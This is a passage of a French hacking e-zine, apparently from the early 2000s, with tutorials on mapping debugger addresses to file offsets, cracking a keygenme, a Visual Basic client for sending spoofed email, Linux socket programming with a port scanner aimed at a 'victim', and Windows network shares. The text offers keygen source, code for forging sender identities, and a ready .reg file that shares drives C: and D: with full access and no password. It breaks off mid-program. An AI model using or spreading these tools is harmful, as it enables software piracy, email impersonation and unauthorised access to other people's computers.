:0040B425 85C0 test eax, eax

*Vérifie si on a entré quelque chose, sinon --> erreur

:0040B427 0F841C000000 je 0040B449

:0040B42D 0FB605A0A44D00 movzx eax, byte ptr [004DA4A0]

* stock en eax le serial entré dans Registration. Ici : 12345678 dans l 'ex.

:0040B434 85C0 test eax, eax

*Vérifie si on a entré quelque chose, sinon --> erreur

:0040B436 0F840D000000 je 0040B449

:0040B43C E8F6F7FFFF call 0040AC37

*Vérifie si le serial et le nom correspondent si OK alors eax =0 sinon

:0040B441 85C0 test eax, eax

:0040B443 0F8545000000 jne 0040B48E

---------------------------------------------------------------------------------------------------------

L'adresse 0040b418 est la même dans softice, sauf que dans softice il y a en plus un sélécteur du style :

0170:0040B418 FF15C8FA4D00 Call dword ptr [004DFAC8]

0170 ici est le selecteur que windows attribue aux programmes il y a d'autre selecteurs, comme 015f, 0030.

Pour l'instant on oublie le selecteur. A quel offset du fichier correspond ce code ?

Ne faisons pas de recherche de la chaine du code FF15C8FA4D00 dans l'exe, oublions cette séquence de code.

Tout d'abord si vous ne connaissez pas le header du format PE, je vous conseillerai de lire securimag

(e-zine underground) que vous pouvez trouver sur madchat.org ou allez sur wotsit.org dans la section

binaire. Il y a aussi des docs dessus.

ce qui nous interresse ici c'est seulement :

Header Offset Bytes Function

----------------------------------------------------------------------------------------------------

MZ | +00 | 2 | signature 'MZ'= 4Dh 5Ah

| +3C | 4 | offset du nouveau header PE ou 0

----------------------------------------------------------------------------------------------------

PE | +00 | 4 | signature 'PE..' (= 50h 45h 00h 00h)

| +2C | 4 | adresse de base

| | | du code dans la mémoire du process

| +10C | 4 | raw offset

----------------------------------------------------------------------------------------------------

Le format PE possède à la fois le header MZ pour pouvoir être executé sous DOS (2.0+)

et le header PE pour windows 9x et NT x.

Exemple dans l'exe de winzip 6.2, on a :

4D5A90000300000004000000FFFF0000 MZ..............

B8000000000000004000000000000000 ........@.......

00000000000000000000000000000000 ................

000000000000000000000000 8000 0000 ................

0E1FBA0E00B409CD21B8014CCD215468 ........!..L.!Th

69732070726F6772616D2063616E6E6F is program canno

742062652072756E20696E20444F5320 t be run in DOS

6D6F64652E0D0D0A2400000000000000 mode....$.......

504500004C010700CF0C603200000000 PE..L.....`2....

00000000E0000E010B010414007E0700 .............~..

Le header de MZ commence a l'offset 0. La signature est MZ ou ZM.

l'offset du header de PE est precisé à l'offset 3c ici 8000 ce qui est égale a l'offset 80 (hexa)

à partir de l'offset 80 (hexa) on va 2c(hexa) octets plus loin on note le dword VIRTUAL OFFSET

et 10c(hexa) + loin on note le dword RAW OFFSET.

Remarque : dword est un double word, 4 octets

Savez vous comment soustraire ou additionner ?

Si non, fermez cet e-mag et allez prendre de l'air dehors !

-------------------------------------------------------------------------------------------------

* l'OFFSET du CODE dans windasm ou soft ice

- (VIRTUAL OFFSET - RAW OFFSET) = OFFSET du FICHIER *

-------------------------------------------------------------------------------------------------

Actually : Le code se charge à virtual offset dans la mémoire, à cause de la taille du header et

les déclarations de l'exe(header). Le code ne commence qu'à l'offset RAW OFFSET.

En fait c'est beaucoup plus compliqué que ça mais j'ai un peu simplifié.

VOILA ! avec notre exemple de winzip 6.2 on a VIRTUAL OFFSET = 1000 h et RAW OFFSET = 0400h

Remarque : pour les neuneus, dans l'editeur hexa on a 0004 0000 qui correspond 0000 0400.

Les processeur INTEL lisent a l'envers octet par octet.

Un autre exemple : 1000 0000 => 00000010

l'offset dans windasm :

:0040B418 FF15C8FA4D00 Call dword ptr [004DFAC8]

0040B418 - (1000-400) = 40b418-c00 = 40a818

Bilan :

ADRESSE DANS WINDASM(SOFTICE) / FICHIER

0040B418 / a818(hexa)

Voilà allez sur l'offset a818 et vous l'avez votre séquence de code !

Remarque : Les programmes windows (sauf kernel......) commencent a l'offset selecteur :

0040 0000 + VIRTUAL offset donc 0040 0000 est la base en fait.

Lisez Delphi 3 ou securimag(chapitre 16.4) vous trouvez d'avantage d'informations.

Bien, j'espere que vous avez compris même si vous trouvez ça complêtement inutile.

Allez sur le site protools.hpages.net, il y a des tonnes de logiciels pour convertir

les offset DEBUGGER -> FILE et d'autre outils très efficaces.

By eBrain (alias OCEAN), IRCnet #codefr

6 - Solution Du KeygenMe par TiPiaX

On va donc se faire le KeygneMe de moi!

(eh oui je crack mes progs :)

Tout d'abord on démarre le proggy et on rentre:

nom: TiPiaX

serial : 1911 (vieille habitude, j'aurais pas du lire les tuts de Bama :)

ensuite on fait CTRL+D pour faire apparaître Softice et vous tappez votre

config comme d'hab :

data

code on

puis on place un :

bpx GetDlgItemTextA

C'est un breakpoint sur l'API qui permet de loader les chaînes en mémoire.

Puis CTRL+D pour quitter.

Vous faites "OK" et là (on s'en doute pas du tout) SOFTice break ! sisi !

On fait F12 pour revenir dans le prog (car là on est dans les APIs)

et on arrive ici: (je vous commente un peu le truc).

Je vous balance tout:

légende : appel d'API en rouge.

endroits ou vont les jumps en vert.

ce qui nous intéresse en bleu.

------------------------------------------------------------------------------

PUSH 32 //

PUSH 004056D4 // <-cet argument correspond au buffer

PUSH 000003E8 // qui recevra le nom lors de l'appel

PUSH EDI // de l'API.

MOV DWORD PTR [00405708],00000000 // <-On met quelques variables à 0.

MOV DWORD PTR [0040570C],00000000 //

MOV DWORD PTR [004056D0],00000000 //

CALL [USER32!GetDlgItemTextA] // Appel de GetDlgItemTextA pour chopper le nom

MOV AL,[004056D4] // met la premiere lettre du nom dans al

TEST AL,AL // teste si la lettre est un 0

JNZ 004010AA // saute sur (1) si oui *voir ps(1)

PUSH 00 //

PUSH 00405250 // Sinon on appelle une boite de message

PUSH 00405234 // "entrez un nom".

PUSH EDI //

CALL [USER32!MessageBoxA] //

MOV EAX,00000001 //

POP EDI //

RET 0010 //

(1):

PUSH ESI

PUSH 00

PUSH 000003E9

PUSH EDI

CALL [USER32!GetDlgItemInt] // Appel de GetDlgItemInt pour chopper le serial entré

MOV Cl,[004056D4]

MOV ESI,[0040570C]

XOR EDX,EDX

MOV [00405710],EAX // serial en 00405710

TEST CL,CL

MOV [004056D0],EDX

JZ 004010F4

//!!!la boucle interessante!!! // détaillé après:)

(2):

MOVSX ECX,CL

ADD ESI,ECX

INC EDX

MOV [00405708],ECX

MOV CL,[EDX+004056D4]

TEST CL,CL

JNZ 0040108D //saute sur (2)

MOV 004056D0,EDX

MOV ECX,ESI

SHL ECX,05

ADD ECX,ESI

POP ESI

CMP EAX,ECX

MOV [0040570C],ECX

PUSH 00

JNZ 00401122

//la boite de message "bravo"

PUSH 0040522C

PUSh 0040520C

PUSH EDI

CALL [USER32!MessageBoxA]

MOV EAX,00000001

POP EDI

RET 0010

//la boite de message Mauvais serial

PUSH 00405205

PUSH 004051E8

PUSH EDI

CALL [USER32!MessageBoxA]

MOV EAX,00000001

POP EDI

RET 0010

------------------------------------------------------------------------------

ps(1) : Le prog regarde si la premiere lettre est 0 car cela signifie qu'aucun nom n'a été entré.

Dans ce cas il envoie une boite de message.

Là on a vu une vue d'ensemble qu'on va résumer avant de passer à la suite:

tout d'abord le prog appelle GetDlgItemTextA pour chopper notre nom qu'il met en 004056D4

Il teste ensuite si on a bien entré un nom. Puis il prend le numero de serie qu'il place

en 00405710. Après il génère le bon serial et le compare à celui qu'on avait entré puis

il envoie les boites de messages: "Bravo, bon serial" ou "mauvais serial"

Etudions donc la procédure qui génère le serial (c'était le bleu :)

------------------------------------------------------------------------------

MOV Cl,[004056D4] // premiere lettre du nom dans Cl

MOV ESI,[0040570C] // on met 0040570C à 0 (car ESI = 0 ici)

XOR EDX,EDX // met EDX à 0

MOV [00405710],EAX // serial en 00405710

TEST CL,CL // teste si la premiere lettre est un 0

MOV [004056D0],EDX // on s'en fout...

JZ 004010F4

//!!!la boucle interessante!!!

(2):

MOVSX ECX,CL // Met CL dans ECX (ça fait rien du tout, lol :)

ADD ESI,ECX // on ajoute la valeur de la lettre dans ESI

INC EDX // EDX = EDX +1

MOV [00405708],ECX // Met la lettre dans 00405708

MOV CL,[EDX+004056D4] // TRES IMPORTANT : Cl vaut maintenant la valeur

// du début du nom +1. En fait CL pointe sur la

// prochaine lettre quoi.

TEST CL,CL // si il y a plus de lettre

JNZ 0040108D // on part sauter sur (2)

------------------------------------------------------------------------------

Pour résumer:

le prog prend donc le nom lettre par lettre et les additionne dans ESI. Donc ESI = lettre1 + lettre2 ...

Car il faut savoir que toute lettre a une valeur sous forme de nombre entier.

On pourrait penser que c'est fini, mais il reste encore ceci à ne pas oublier (c'est le plus dur :)

------------------------------------------------------------------------------

MOV 004056D0,EDX // on s'en tape :)

MOV ECX,ESI // on met la valeur de notre addition dans ECX

SHL ECX,05 // on décalle ECX de 5 bits vers la gauche.

ADD ECX,ESI // et on ajoute L'addition (ECX) au résultat.

POP ESI

CMP EAX,ECX // compare le bon et le mauvais serial.

MOV [0040570C],ECX

PUSH 00

JNZ 00401122

------------------------------------------------------------------------------

un décalage de bits à gauche revient à multiplier le nombre par une puissance de 2

SHL 5 , 20 = décalage de 20 bits sur le nombre 5.

ce qui équivaut à 5 * 2^20 .

Donc dans notre cas on a SHL ECX,05 ce qui correspond à : ECX = ECX * 5^2

soit : ECX = ECX * 32

Si on regarde la suite du source on voit que l'on ajoute encore ESI au résultat. Or ESI = ECX

donc en réalité le prog fait : ECX = ECX * 33

Si vous avez tout compris : le serial vaut :

(somme des lettres) *33

Eh oui tout ce code juste pour ça ! :)

Vous n'êtes pas obligé de comprendre comment marche SHL c'est juste mieux. Mais rien ne vous empêche

de faire des décalages de bits dans votre Keygen pour trouver le serial.

Maintenant il faut passer au coding de notre keygen. Si vous la programmez en asm, il suffit de faire

un copier coller du prog (enfin presque quoi). C'est pourquoi on va la faire en c pour ce qui savent pas

comment ça ce boutique. On va en faire 2 : une avec les decalages de bits et l'autre sans:

Votre KeyGen:

On voit la première sans les decalages de bits:

------------------------------------------------------------------------------

//les variables nécessaires:

int nombre = 0;

int total = 0;

int i = 0;

int serial;

char nom[50];

GetDlgItemText(hwnd,IDC_NOM,nom,50);

if (nom[0] == 0) //pas de nom !!

{

MessageBox(hwnd,"Vous devez entrer un nom","KeyGeN",MB_OK);

break;

}

for (i=0; nom[i] != 0; i++)

{

nombre = (char) nom[i];

total = total + nombre;

}

total = total * 33;

SetDlgItemInt(hwnd,IDC_SERIAL,total,NULL);

------------------------------------------------------------------------------

Vous rajoutez une belle boite de dialogue à tout ça. Comme certains savent pas le faire je joint

la source complète :) Vyons maintenant la même chose avec les décalages de bits. L'interêt est

qu'il n'y a pas besoin de réfléchir, c'est du copier coller traduit en c :)

------------------------------------------------------------------------------

//les variables nécessaires:

int nombre = 0;

int total = 0;

int i = 0;

int serial;

char nom[50];

GetDlgItemText(hwnd,IDC_NOM,nom,50);

if (nom[0] == 0) //pas de nom !!

{

MessageBox(hwnd,"Vous devez entrer un nom","KeyGeN",MB_OK);

break;

}

for (i=0; nom[i] != 0; i++)

{

nombre = (char) nom[i];

total = total + nombre;

}

total = (total << 5) + total;

SetDlgItemInt(hwnd,IDC_SERIAL,total,NULL);

------------------------------------------------------------------------------

Et voila ce tut s'achève ici. J'espère qu'il vous servira pour Keygener de vrai progs. Big greets à:

Moi, Jufox, AntiSocial, Obscurer, LutinNoir, KoP, Christal, Pointbat, Bendi, TeeJi et tout FcF.

Gros Fuck à : Mist :-(

Bonne Chance - D'autres plus difficiles devraient suivre...

By TiPiaX

************************************************************************************

* PROGRAMMATION par Lauspeed,Sboub *

************************************************************************************

1 - Un client SMTP en Visual Basic par Lauspeed

Conception:

* Créez un nouveau projet.

* Ajoutez le composant Microsoft Winsock Control (Ctrl+T)

* Dans le formulaire de projet, créez :

- une Frame et nommez-la frame1 (Caption : "Statut :" )

- un label à l'intérieur de cette frame et nommez le statustxt (Caption : "")

- sept TextBox et nommez les respectivement txtFromEmailAddress, txtFromName,

txtToEmailAddress, ToNametxt, txtEmailSubject, txtEmailServer et

txtEmailBodyOfMessage (plus grande)

Foutez des labels pour vous retrouver.

Les noms sont en anglais pour éviter le problème des accents

(Je me suis suffisamment fais chier avec .... )

- deux CommandButton et nommez les Command1 et Command2

Caption : ("&Envoyer" pour la 1 et "&Quitter" pour la 2)

- un objet Winsock et nommez le Winsock1

COPIER/COLLER -------------------------------------------------------------------------------------------

Dim Response As String, Reply As Integer, DateNow As String

Dim first As String, Second As String, Third As String

Dim Fourth As String, Fifth As String, Sixth As String

Dim Seventh As String, Eighth As String

Dim Start As Single, Tmr As Single

Sub SendEmail(MailServerName As String, FromName As String, FromEmailAddress As String, ToName As String,

ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String)

' Nous mettons la propriété LocalPort à 0 afin que le port soit sélectionné au hasard

Winsock1.LocalPort = 0

' Nous vérifions l'état du contrôle Winsock (fermé)

If Winsock1.State = sckClosed Then

DateNow = Format(Date, "Ddd") & ", " & Format(Date, "dd Mmm YYYY") & " " & Format(Time,

"hh:mm:ss") & "" & " -0600"

' Votre pseudo-adresse E-mail est affecté à la variable first (voir fake mail via Telnet pour le "mail from:")

first = "mail from:" + Chr(32) + FromEmailAddress + vbCrLf

' L'adresse E-mail de votre destinataire est affecté à la variable second (id pour le "rcpt to:")

Second = "rcpt to:" + Chr(32) + ToEmailAddress + vbCrLf

' Date à laquelle le mail est envoyé affecté à une variable

Third = "Date:" + Chr(32) + DateNow + vbCrLf

' Votre pseudo-nom affecté à une variable

Fourth = "From:" + Chr(32) + FromName + vbCrLf

' Le nom de votre destinataire affecté à une variable

Fifth = "To:" + Chr(32) + ToNametxt + vbCrLf

' Sujet du mail affecté à une variable

Sixth = "Subject:" + Chr(32) + EmailSubject + vbCrLf

' Message en lui même affecté à une variable

Seventh = EmailBodyOfMessage + vbCrLf

' Pseudo-programme par lequel a été envoyé le mail (A modifié selon vos désirs)

Ninth = "X-Mailer: EBT Reporter v 2.x" + vbCrLf

' On affecte à la variable eight l'ensemble des variables définies précédemment afin de se faciliter les choses

Eighth = Fourth + Third + Ninth + Fifth + Sixth

' Nous sélectionnons le protocole TCP

Winsock1.Protocol = sckTCPProtocol

' Adresse de l'host (Dans ce cas du serveur SMTP)

Winsock1.RemoteHost = MailServerName

' Nous rentrons le port SMTP dans la propiètè RemotePort du contrôle Winsock

Winsock1.RemotePort = 25

' Nous commençons la connexion maintenant que tout est pret

Winsock1.Connect

WaitFor ("220")

StatusTxt.Caption = "Connection en cours.... Hackerstorm s'occupe de tout"

StatusTxt.Refresh

Winsock1.SendData ("HELO worldcomputers.com" + vbCrLf)

WaitFor ("250")

StatusTxt.Caption = "Connexion aboutie"

StatusTxt.Refresh

Winsock1.SendData (first)

StatusTxt.Caption = "Envoi du message en cours..."

StatusTxt.Refresh

WaitFor ("250")

Winsock1.SendData (Second)

WaitFor ("250")

Winsock1.SendData ("data" + vbCrLf)

WaitFor ("354")

Winsock1.SendData (Eighth + vbCrLf)

Winsock1.SendData (Seventh + vbCrLf)

Winsock1.SendData ("." + vbCrLf)

WaitFor ("250")

Winsock1.SendData ("quit" + vbCrLf)

StatusTxt.Caption = "Envoi achevé "

StatusTxt.Refresh

WaitFor ("221")

Winsock1.Close

Else

MsgBox (Str(Winsock1.State))

End If

End Sub

Sub WaitFor(ResponseCode As String)

' Nous mettons un contrôle Timer pour éviter de laisser le programme tourner à vie en cas

' d'impossibilité de contacter l'host

Start = Timer

While Len(Response) = 0

Tmr = Start - Timer

' Le programme vérifie l'arrivée d'une réponse de l'host

DoEvents

If Tmr > 50 Then ' Temps pendant lequel le serveur attend une réponse

MsgBox "Erreur lors de la connexion au serveur SMTP (Timed out)", 64, MsgTitle

Exit Sub

End If

Wend

While Left(Response, 3) <> ResponseCode

DoEvents

If Tmr > 50 Then

MsgBox "Erreur lors de la réponse du serveur SMTP :" +

" La réponse devrait être " + ResponseCode" +

" mais la réponse reçu est : " + Response, 64, MsgTitle

Exit Sub

End If

Wend

' Envoie une réponse au serveur

Response = ""

End Sub

Private Sub Command1_Click()

SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text,

txtToEmailAddress.Text,txtToEmailAddress.Text,txtEmailSubject.Text,txtEmailBodyOfMessage.Text

' Nous mettons dans le statut que le mail a été envoyé

StatusTxt.Caption = "Votre E-Mail a été envoyé avec succès"

StatusTxt.Refresh

Beep

End Sub

Private Sub Command2_Click()

End

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

' Nous vérifions l'arrivée d'une réponse

Winsock1.GetData Response

End Sub

---------------------------------------------------------------------------------------------------------

C'est tout. Cette source vous permet de vous amuser sans vous faire chier avec Telnet.

Vous pouvez remplacer la textbox par une listbox avec des serveurs SMTP si vous le voulez,

mais moi, j'en ai trop marre.

By Lauspeed

2 - Programmation des sockets en C sous Linux par Sboub

Dans ce Hackerstorm MAG n°2 (yeah !) nous allons parler de la programmation

des sockets en C sous LINUX (meme principe que sous WINDOWS vu que nous n'utiliserons pas

encore de RAW SOCKET, mais le boss de WINDOWS c'est TIPIAX...salut à lui!).

Cet article a été fait un petit peu vite vu que je manque de temps... mais promis la prochaine

fois ce sera mieux :)

----

N.B => Tous ceux qui ne pigent que dalle ou qui ont des questions particulères (ou

bien qui peuvent m'instruire !) sont les bienvenus sur #hackerstorm en UNDERNET ou sur

SBOUB666@hotmail.com

----

A - Les sockets,qu'est ce que c'est ?

Un socket (un/une ?, bon on s'en fou) c'est en fait un canal de communication que vous ouvrez ou

que vous écoutez pour voir si d'autres personnes vous envoies des données.

Il existe différents type de sockets:

SOCK_STREAM

Très utilisée, communiction dans les deux sens. Plusieurs connexions possibles en meme temps.

SOCK_DGRAM

Ici, il n'y a pas de moyen de controler si tous les paquets sont arrivés mais c'est un protocole

très peu utilisé donc aucun problème.

SOCK_RAW

C'est le plus interressant : avec ce protocole vous faites CE QUE VOUS VOULEZ !! Vous pouvez envoyer

un paquet IP avec la source désiréé etc... très utilisé pour le SPOOFING.

SOCK_RDM

Pas encore supporté ?

SOCK_SEQPACKET

Ressemble au DGRAM...

J'ai été un peu court dans cette partie car ce n'est pas très utile... et je manque de temps ! :)

B - Ouvrir une connection

Il existe différents type d'adresse :

AF_UNIX (Unix internal protocols)

AF_INET (ARPA Internet protocols)

AF_ISO (ISO protocols)

AF_NS (Xerox Network Systems protocols)

AF_IMPLINK (IMP "host at IMP" link layer)

Et protocoles....:

ip 0 IP # internet protocol, pseudo protocol number

icmp 1 ICMP # internet control message protocol

igmp 2 IGMP # internet group multicast protocol

ggp 3 GGP # gateway-gateway protocol

tcp 6 TCP # transmission control protocol

pup 12 PUP # PARC universal packet protocol

udp 17 UDP # user datagram protocol

idp 22 IDP # WhatsThis?

raw 255 RAW # RAW IP interface

Les bibliothèque importantes sont <sys/types.h> et <sys/socket.h>.

Donc voici comment ouvrir une connection:

int sockfd; // le numéro du socket (utile car on peut en ouvrir plusieurs)

struct hostent *he; // la structure qui recevra nos infos

struct sockaddr_in serveur_addr; // la structure qui recevra les infos du serveur par exemple

// On résoud le nom...

if ((he=gethostbyname(server)) == NULL) {herror("gethostbyname");exit(1); }

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {perror("socket"); exit(1); }

// On rempli les structures...

serveur_addr.sin_family = AF_INET;

serveur_addr.sin_port = htons(port);

serveur_addr.sin_addr = *((struct in_addr *)he->h_addr);

// On se connecte avec le serveur...

if (connect(sockfd, (struct sockaddr *)&serveur_addr,sizeof(struct sockaddr)) == -1) {perror("connect"); exit(1);}

Ca y est vous êtes connecté ! En cas de problème la fonction renvoie -1 et le type d'erreur.

C - Envoyer et recevoir des données.

Voici les définitions des fonctions le permettant...

int recv(int s, void *buf, int len, unsigned int flags);

int send(int s, const void *msg, int len, unsigned int flags);

int recvfrom(int s, void *buf, int len, unsigned int flags, struct sockaddr*from, int *fromlen);

int sendto(int s, const void *msg, int len, unsigned int flags, const struct sockaddr *to, int tolen);

EXEMPLE:

~~~~~~~~

char *envoi = "Test...";

send(sock,envoi,strlen(envoi),0);

sock=notre socket

envoi=notre chaine

strlen(envoi)=la longeur de la chaine envoyée

0=le flag (MSG_OOB, NORMAL...)

Nous pouvons aussi utiliser les fonctions READ et WRITE pour recevoir et envoyer des données.

Comme ceci:

write(s, envoi, strlen(envoi));

read(s, recu, 69000);

D - Fermer une connection

C'est très simple, utilisez la commande "close(socket)". Ici socket est le nom de votre socket.

E - Un peu plus loin...

Vous pouvez déjà vous amuser à étudier l'exemple BONUXX.

J'ai cité les RAW SOCKET tout à l'heure, nous parlerons dans le prochain mag comment l'utiliser

et pourquoi faire... sachez juste que tout bon hacker doit savoir l'utiliser !

Si vous voulez des exemples de sources SOCKET allez sur le site du groupe : HACKERSTORM.COM

F - L'exemple BONUXXXX !!!

Un petit scanner TCP/IP à connexion complète qui illustre très bien

les possibilitées de base des sockets... Etudiez le bien il pourra vous

être très utile et en le modifiant un peu on peut faire beacoup de choses.

COPIER/COLLER -------------------------------------------------------------------------------------------

/*SCANNER TCP à connexion complète

By SBOUB.

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <netdb.h>

#include <arpa/inet.h>

struct in_addr resolve (char *name)

{

static struct in_addr in;

unsigned long l;

struct hostent *ent;

if ((l = inet_addr(name)) != INADDR_NONE) { in.s_addr = l; return in; }

if (!(ent = gethostbyname(name))) { in.s_addr = INADDR_NONE; return in; }

return *(struct in_addr *)ent->h_addr;

}

main(int argc, char **argv)

{

struct sockaddr_in addr;

int soc, rc, addr_len;

unsigned long port, endp = 65334;

char *victim;

if (argc < 2) { fprintf(stderr,"Scanner TCP à connexion complète par SBOUB.\nUSAGE : %s <host> [endport]\n\n", argv[0]); exit(1); }

victim = argv[1];

if (argc > 2) { endp = atol(argv[2]); }

printf("Scanner TCP à connexion complète par SBOUB.\nScan TCP sur %s (port 0 -> %d)...\n\n", victim,endp);

addr.sin_addr = resolve(victim);

if (addr.sin_addr.s_addr == INADDR_NONE) { fprintf(stderr, "Host [%s] non trouvé\n", victim); exit(1); }

addr.sin_family = AF_INET;

addr_len = sizeof(addr);

for (port = 1; port <= endp; port++)

{

soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

addr.sin_port = htons(port);

rc = connect(soc, (struct sockaddr*) &addr, addr_len);

close(soc);

if (rc < 0)continue;

// A vous de rajouter vos propres ports (ceux des trojans par exemple...)

if (port==21) { printf("Port 21 (FTP)\n"); }

else if (port==22) { printf("Port 22 (SSH Remote Login Protoco)\n"); }

else if (port==23) { printf("Port 23 (TELNET)\n"); }

else if (port==25) { printf("Port 25 (SMTP)\n"); }

else if (port==37) { printf("Port 37 (TIMESERVER)\n"); }

else if (port==67) { printf("Port 67 (BOOTP SERVER)\n"); }

else if (port==68) { printf("Port 68 (BOOTP CLIENT)\n"); }

else if (port==70) { printf("Port 70 (GOPHER)\n"); }

else if (port==79) { printf("Port 79 (FINGER)\n"); }

else if (port==80) { printf("Port 80 (HTTP)\n"); }

else if (port==98) { printf("Port 98 (LINUXCONF)\n"); }

else if (port==107) { printf("Port 107 (RTELNET)\n"); }

else if (port==109) { printf("Port 109 (POP2)\n"); }

else if (port==110) { printf("Port 110 (POP3)\n"); }

else if (port==111) { printf("Port 111 (RPC 4.0 PortMapper)\n"); }

else if (port==113) { printf("Port 113 (AUTH authentication tap ident)\n"); }

else if (port==123) { printf("Port 123 (TIME)\n"); }

else if (port==137) { printf("Port 137 (NETBIOS Name Service)\n"); }

else if (port==138) { printf("Port 138 (NETBIOS Datagram Service)\n"); }

else if (port==139) { printf("Port 139 (NETBIOS Session Service)\n"); }

else if (port==213) { printf("Port 213 (IPX)\n"); }

else if (port==443) { printf("Port 443 (HTTPS)\n"); }

else if (port==512) { printf("Port 512 (EXEC)\n"); }

else if (port==513) { printf("Port 513 (LOGIN)\n"); }

else if (port==514) { printf("Port 514 (SHELL)\n"); }

else if (port==515) { printf("Port 515 (PRINTER)\n"); }

else if (port==530) { printf("Port 530 (RPC)\n"); }

else if (port==543) { printf("Port 543 (KLOGIN)\n"); }

else if (port==544) { printf("Port 544 (KSHELL)\n"); }

else if (port==1080) { printf("Port 1080 (SOCKS)\n"); }

else if (port==6000) { printf("Port 6000 (XWINDOW)\n"); }

else if (port==6660) { printf("Port 6660 (IRCD)\n"); }

else if (port==6661) { printf("Port 6661 (IRCD)\n"); }

else if (port==6662) { printf("Port 6662 (IRCD)\n"); }

else if (port==6663) { printf("Port 6663 (IRCD)\n"); }

else if (port==6664) { printf("Port 6664 (IRCD)\n"); }

else if (port==6665) { printf("Port 6665 (IRCD)\n"); }

else if (port==6666) { printf("Port 6666 (IRCD)\n"); }

else if (port==6667) { printf("Port 6667 (IRCD)\n"); }

else if (port==6668) { printf("Port 6668 (IRCD)\n"); }

else if (port==6669) { printf("Port 6669 (IRCD)\n"); }

else printf("Port %d (????)\n", port);

}

printf("\nOki boss... ;)\n");

exit(0);

}

--------------------------------------------------------------------------------------------------

Pour tout commentaires : #hackerstorm en UNDERNET ou sur SBOUB666@hotmail.com

Dans le prochain mag, un bot complet en C. Un programme de chat. Et peut-etre les RAW SOCKET.........

************************************************************************************

* DIVERS par KoP *

************************************************************************************

1 - Les ressources partagées par KOP

"Pourquoi n'avez vous pas fait un article sur le hacking par la faille

des ressources partagées de windows??!!"

Je réponds à cette question très simplement: l'accès par les ressources partagées de windows

n'est pas une faille. Ceci est un système utilisé le plus souvent par les entreprises

pour permettre au personnel de travailler depuis n'importe quel ordinateur dans

le monde en ayant accès à ses données. Il s'agit de données partagées que,

lorsque nous y avons accès, nous pouvons utiliser comme si elles se situaient

sur notre propre ordinateur. En fait, lorsque vous entrez sur un ordinateur qui

possède les ressources partagées, vous ne le hackez pas(enfin si les ressources

partagées ont été activé exprès sinon vous le hackez vu que vous entrez sur l'ordinateur

sans l'accord du propriétaire). Pour les personnes qui utilisent ce système pour "hacker",

vous devez savoir qu'il existe un moyen très simple aux administrateurs de connaitre votre IP.

En effet, grâce à l'observateur réseau (c:\windows\netwatch.exe), les administrateurs

peuvent savoir se que vous faites à tout moment. Pour pouvoir utiliser cette technique

sur quelqu'un, la personne doit avoir activé les ressources partagées.

Informations dans la base de registre à propos des ressources partagées :

--------------------------------------------------------------------------------------------------

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{a4d92740-67cd-11cf-96f2-00aa00a11dd9}\InfoTip

HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{992CFFA0-F557-101A-88EC-00DD010CCC48}

\InfoTip

HKEY_CLASSES_ROOT\CLSID\{992CFFA0-F557-101A-88EC-00DD010CCC48}\InfoTip

HKEY_CLASSES_ROOT\CLSID\{a4d92740-67cd-11cf-96f2-00aa00a11dd9}\InfoTip

InfoTip: Accès aux informations partagées sur un autre ordinateur, même si votre ordinateur

n'est pas connecté à un réseau. L'ordinateur contacté doit être configuré comme

serveur réseau afin que vous puissiez utiliser ses ressources partagées.

--------------------------------------------------------------------------------------------------

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetClient\0001\Ndi\HelpText

HelpText: Le client pour les réseaux Microsoft vous permet de vous connecter

à d'autres ordinateurs et serveurs Microsoft Windows et d'utiliser

leurs imprimantes et fichiers partagés.

--------------------------------------------------------------------------------------------------

Voici les données qu'il faut ajouter ou modifier dans le registre pour activer les ressources partagées:

dans HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\

créez une clé de même nom que celui du répertoire où vous voulez accéder.

ex: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan

\MES DOCUMENTS

pour l'accès à un répertoire nommé MES DOCUMENTS.

ex: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\UPLOAD

pour l'accès au répertoire C:\PROGRAM FILES\SERVER\UPLOAD par exemple.

Ne mettez pas les caractères spéciaux si votre répertoire en a un.

ex: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C

pour l'accès au lecteur C:\

--------------------------------------------------------------------------------------------------

Voici les paramètres à compléter et à ajouter dans la clé que vous venez de créer :

Flags(décimal) ------>

257 -> accès lecture seule

258 -> accès complet

259 -> accès selon mot de pass

Parm1enc->

Pass pour l'accès complet

Parm2enc->

Pass pour la lecture seule

Path ------->

Répertoire et sous-répertoires partagées

ex: "C:\" -> accès complet au lecteur C

Remark --->

Remarque visible par nbtstat

ex: "Partage des ressources By HackerStorm"

Type ------> 0

Voilà, pour partager une machine en accès complet sur les disques C:\ et D:\ facilement

vous pouvez utiliser un fichier ".reg" en y mettant les données qui suivent :

COPIER/COLLER -------------------------------------------------------------------------------------------

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C]

"Flags"=dword:00000102

"Type"=dword:00000000

"Path"="C:\\"

"Parm2enc"=hex:

"Parm1enc"=hex:

"Remark"="Partage réseau fait par HackerStorm"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\D]

"Flags"=dword:00000102

"Type"=dword:00000000

"Path"="D:\\"

"Parm2enc"=hex:

"Parm1enc"=hex:

"Remark"="Partage réseau fait par HackerStorm"

--------------------------------------------------------------------------------------------------

Source d'un programme pour les ressources partagées:

Voici un petit programme qui vous évitera de faire toute la démarche obligatoire à la connection

sur les ressources partagées d'un ordinateur. Vous devez posséder, comme le dit les extraits du registre,

les ressources partagées pour pouvoir avoir accès aux servers Microsoft et pour pouvoir utiliser leurs

fichiers et leurs imprimantes.

COPIER/COLLER -------------------------------------------------------------------------------------------

#include <conio.h>

#include <stdio.h>

#include <process.h>

#define ETAPE "-------------------------------------------------------------------------------\nETAPE %s\n"

main(int argc,char*argv[])

{

if(argc!=2)

{

